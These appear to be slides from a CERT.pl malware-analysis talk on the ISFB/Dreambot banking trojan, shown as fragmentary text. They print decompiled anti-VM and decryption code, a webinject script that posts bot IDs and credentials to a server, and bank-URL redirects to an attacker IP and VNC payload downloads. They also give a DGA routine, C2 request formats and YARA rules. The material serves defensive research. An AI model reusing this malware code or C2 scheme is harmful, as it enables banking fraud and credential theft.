Maciej Kotowicz
- Principal Malware Researcher @ CERT.pl
- DragonSector CTF
- RE/Exploit dev
- Automatization / Formal methods
- @maciekkotowicz
Maciej Kotowicz
Maciej Kotowicz
Based on proposed plan, author did some source code analysis and want to summarize his
Well. Nope. 75% of this came from Reverse Engineering....
DbgPrint("ISFB_%04x: Installer DLL finished with status %u.\n", GetCurrentProcessId(), Status);
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // ISFB project. Version 2.13.24.1 // // module: dll.c // $Revision: 265 $
(n6: sinkhole connections in october - bankers only)
> db.config.distinct('key',{'type':'isfb','exe_type':'worker'}) [ "q1a2z3w4s5x6e7d8", "S951DX7IZXHH4Y6P", "OvZz8XVH91INT7ek", "V86iYRDA2FSEqWzL", "87694321POIRYTRI", "77694321POIRYTRI", "DB23B3470D0CF889", "A79CE7E04B4C9A6A", "byVMLEDZAlowtPY", "0123456789ABCDEF", "2345D892B97F02A", "Drbp2YVKMWkmPGtJ", "Dfei8OoQ0xhjTyql", "0WADGyh7SUCs1i2V", "PHZ4OVL2QLI0N8WN" ]
rule isfb_dropper : banker
{
meta:
author = "mak"
module = "isfb"
strings:
$str0 = "Tape Device" fullword
$str1 = "ASCIT8" fullword
$str2 = "IEEE 1394"
$str3 = ".bss"
$decode_bss = { 8D 7D ?? AB 66 AB 6A 08 AA 68 [4] 8D ?? ?? 5?}
condition:
$decode_bss and 1 of ($str*)
}
do { pci.cbSize = 20; GetCursorInfo(&pci); ret = decode_bss(pci.ptScreenPos.y - old_y - old_x + pci.ptScreenPos.x); old_x= pci.ptScreenPos.x; old_y =pci.ptScreenPos.x; } while(ret == 12);
DeviceInfoData.cbSize = 28; if ( SetupDiEnumDeviceInfo(v1, 0, &DeviceInfoData) ) { SetupDiGetDeviceRegistryPropertyA(v1, &DeviceInfoData, 0xCu, &Property, 0, 0, &PropertyBufferSize); if ( PropertyBufferSize ) { v2 = (BYTE *)xHeapAlloc(PropertyBufferSize); v3 = (CHAR *)v2; if ( v2 ) { if ( SetupDiGetDeviceRegistryPropertyA(DeviceInfoSet,&DeviceInfoData,0xCu,&Property,v2,PropertyBufferSize, &PropertyBufferSize) && (StrStrIA(v3, (LPCSTR)"vbox") || StrStrIA(v3, "qemu") || StrStrIA(v3, "vmware") || StrStrIA(v3, "virtual hd")) ) { v0 = 1; } xHeapFree(v3); } } } SetupDiDestroyDeviceInfoList(DeviceInfoSet); } return v0;
signed int __stdcall decode_bss(int shift) { ... //v2 points to VA of .bss if ( !v2 ) return 2; v6 = v2->VirtualAddress; if ( !v6 || !v2->SizeOfRawData ) return 192; v7 = v2->SizeOfRawData; v8 = *(_DWORD *)"016"; v9 = v13; v10 = (shift & 0x1F) + (*(_DWORD *)"29 2016" ^ *(_DWORD *)"Oct 29 2016" ^ (v7 + v6)); XorDecryptBuffer(v7, (int *)((char *)v13 + v6), v2->SizeOfRawData, v10); dword_4064EC = dword_40766E + dword_407662 + dword_407666; if ( dword_40766E + dword_407662 + dword_407666 != 0xEE553B4E )// check if correctly decoded { XorEncryptBuffer(dword_407662, (IMAGE_DOS_HEADER *)((char *)v9 + v2->VirtualAddress), v2->SizeOfRawData, v10); v14 = 12; } return v14; }
typedef struct { DWORD fj_magic; DWORD addr; DWORD size; DWORD crc32_name; DWORD flags; /* or with 0x10000 mean it is packed with aPLib */ } isfb_fj_elem ;
typedef struct { DWORD j1_magic; DWORD flags; // can be aPLib packed DWORD crc32_name; DWORD addr; DWORD size; } isfb_fj_elem ;
- 0x4F75CEA7,0x9e154a0c ## CRC_CLIENT32
- 0xD722AFCB,0x8365B957,0x8fb1dde1 ## CRC_CLIENT_INI
- 0xE1285E64 ## CRC_PUBLIC_KEY
- 0x90F8AAB4,0x41982e1f ## CRC_CLIENT64
- 0x7A042A8A ## NEW - UNKNOWN
typedef struct { DWORD off; DWORD flags; QWORD value; QWORD uid; } isfb_cfg_elem typedef struct { QWORD count isfb_cfg_elem[count]; char string_table[]; }
typedef structure { DWORD size; BYTE data[size]; } inject_elem typedef structure { inject_elem target; // url glob inject_elem action; // or regex inject_elem params[4]; // other params } inject_chunk typedef injects_t inject_chunk[];
var bn = "US_" + "BOFA_1";
var bot_id = "@ID@_" + bn;
var sa = decode64("..");
var req = "send=0&u_bot_id=" + bot_id + "&bn=" + bn+ "&page=8&u_login=&u_pass=&log=" + 'get_me_core';
sendScriptRequest(sa, req, function statusCall1() {
var element = document.getElementById("loader");
element.parentNode.removeChild(element);
} );
})();
ACTION: REDIRECT - Target: */myjs128.js -> http://5.101.67.36/di/myjs128_plv3.js
ACTION: REDIRECT - Target: */myjs28.js -> http://5.101.67.36/di/myjs28_plv3.js
ACTION: REDIRECT - Target: */ats8/gate.php* -> http://5.101.67.36/az/atsbmid/gate128.php
ACTION: REDIRECT - Target: https://www.centrum24.pl/* -> http://5.101.67.36/fk/cen1.php?
ACTION: REDIRECT - Target: https://companynet.mbank.pl/* -> http://5.101.67.36/fk/mbiz1.php?
ACTION: FILE - Target: *.prv
ACTION: VNC - Target: https://www.pekaobiznes24* | source : http://thesellingoutlet.com/p32.bin,http://thesellingoutlet.com/p64.bin
ACTION: VNC - Target: https://companynet.mbank.pl* | source : http://thesellingoutlet.com/p32.bin,http://thesellingoutlet.com/p64.bin
ACTION: VNC - Target: https://iri.* | source : http://thesellingoutlet.com/p32.bin,http://thesellingoutlet.com/p64.bin
ACTION: VNC - Target: https://kiri.* | source : http://thesellingoutlet.com/p32.bin,http://thesellingoutlet.com/p64.bin
ACTION: VNC - Target: https://ibiznes2* | source : http://thesellingoutlet.com/p32.bin,http://thesellingoutlet.com/p64.bin
ACTION: VNC - Target: https://*.pl/homebankin* | source : http://thesellingoutlet.com/p32.bin,http://thesellingoutlet.com/p64.bin
ACTION: VNC - Target: https://*/hb/faces/* | source : http://thesellingoutlet.com/p32.bin,http://thesellingoutlet.com/p64.bin
.*\\Software\\AppDataLow\\Software\\Microsoft\\
[A-F0-9]{8}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{12}\\
rnd = LsaRandom() rnd.seed = (((kwargs['seed'] << 16)&0xffffffff) + kwargs['season'] + kwargs['lsa_seed']) & 0xffffffff #rnd.seed = (1 << 16) + kwargs['season'] - 0x124676D0 r=[] for i in range(kwargs['count']): suf = kwargs['tld'][(rnd.rnd >> 1) % len(kwargs['tld'])]#rnd.choose(kwargs['tld']) dom_l = rnd.rnd % self.DGA_MIN_LEN + self.DGA_MIN_LEN wc = 0; dom = [] while wc < dom_l: d = rnd.choose(words) ws = len(d) if not rnd.rnd %3: ws /=2 if wc + ws > self.DGA_MAX_LEN: continue dom.append(d[:ws]) wc += ws r.append(''.join(dom) +suf)
typedef struct { DWORD magic; /* 0x395f2ec1 */ DWORD my_secret; DWORD his_secret; BYTE cmd0; BYTE cmd1; BYTE data[]; } isfb_p2p_inner_packet typedef struct { BYTE flags; DWORD salt; /* 4 random higher bytes of keys */ isfb_p2p_inner_packet p; /*encrypted */ } isfb_p2p_packet
http://\%s\%s?user\%\%5fid=\%.4u\&version\%\%5fid=\%lu\&passphrase=\%s\&socks=\%lu\&version=\%lu\&crc=\%.8x
/tfctq.php?mkvf=KPgnjc3RohdH4zDttU9wItzEGB6cEz2jeDJWROI6FbIpqN/9F6N3OOHUzISvptToYm+txOpUvU2YtY
oxsxc=kcxsfx\&version=212356\&user=aa16a132f1689c4d4b2eb59024d986c3\&server=12\&id=1000\&crc=1dc690f
cnc.tld/images/8//Gmj7f1b/p976veQbwY5XTyLFJl2QiH3b3X6ts7/Yxd7nmkuXV6Yrt6mPUdSf2Ul
/jOBc27CVHf2WIxVsGg/Pv49qA_2B_2FdeXKWKV/cPIuyXr4JBumUBy/Aw/RtPom91zP7FSaj2U.jpeg
/t[RAND]?[RAND]=data
decode_req = lambda d: decrypt(d.decode('base64',SKEY)) d=re.sub('_([0-9A-Fa-f]{2})',lambda x: chr(int(x.group(1),16)),d) try: e=d.decode('base64') except Exception as e: d=d+'==' pprint.pprint(dict(map(lambda x: x.split('='), decode_req(d).strip("\x00").split('&'))))
{'crc': '7001380', 'id': '1065',ppc': 'xi', 'server': '12', 'soft': '1',
'user': '0c0d784a0cf755970edbdf4c0cb27fca', 'version': '214887'}
/t*php & get new task & Used until Sep 2015
/c*php & get new config & Used until Sep 2015
/d*php & send stolen data & Used until Sep 2015
*/images/*.gif & get new task & current format
*/images/*.jpeg & get new config & current format
*/images/*.bmp & send stolen data & current format
*/images/*/.avi & download 2nd stage dll & not every c&c
Serpent is a symmetric key block cipher that was a finalist in the Advanced Encryption Standard (AES) contest, where it was ranked second to Rijndael. Serpent was designed by Ross Anderson, Eli Biham, and Lars Knudsen.
Like other AES submissions, Serpent has a block size of 128 bits and supports a key size of 128, 192 or 256 bits.[2] The cipher is a 32-round substitution-permutation network operating on a block of four 32-bit words. Each round applies one of eight 4-bit to 4-bit S-boxes 32 times in parallel. Serpent was designed so that all operations can be executed in parallel, using 32 bit slices. This maximizes parallelism, but also allows use of the extensive cryptanalysis work performed on DES.
rewrite ^/fileto(.*)(\.bin) /get128.php?x=$1 break;
rewrite ^/images(.*)(\.bmp) /data.php?x=$1$2 break;
rewrite ^/images(.*)(\.avi) /loader.php?x=$1$2 break;
rewrite ^/images(.*)(\.gif) /task.php?x=$1$2 break;
rewrite ^/images(.*)(\.jpeg) /config.php?x=$1$2 break;
RewriteEngine on
RewriteRule ^c(.+)\.php$ new_chandler.php [L,QSA]
RewriteRule ^t(.+)\.php$ new_thandler.php [L,QSA]
RewriteRule ^d(.+)\.php$ new_dhandler.php [L,QSA]
RewriteRule ^images(.*)(\.bmp) new_dhandler.php?q=$1$2 [L,QSA]
RewriteRule ^images(.*)(\.gif) new_thandler.php?q=$1$2 [L,QSA]
RewriteRule ^images(.*)(\.jpeg) new_chandler.php?q=$1$2 [L,QSA]
rule isfb_dreambot : banker
{
meta:
author = "mak"
module = "isfb"
strings:
$str0 = "vmware" fullword
$str1 = "vbox" fullword
$str2 = "virtual hd" fullword
$str4 = "qemu" fullword
$str3 = "c:\\321.txt" fullword
condition:
all of them and isfb_dropper
}
Common Roots/Payloads
mak mak@cert.pl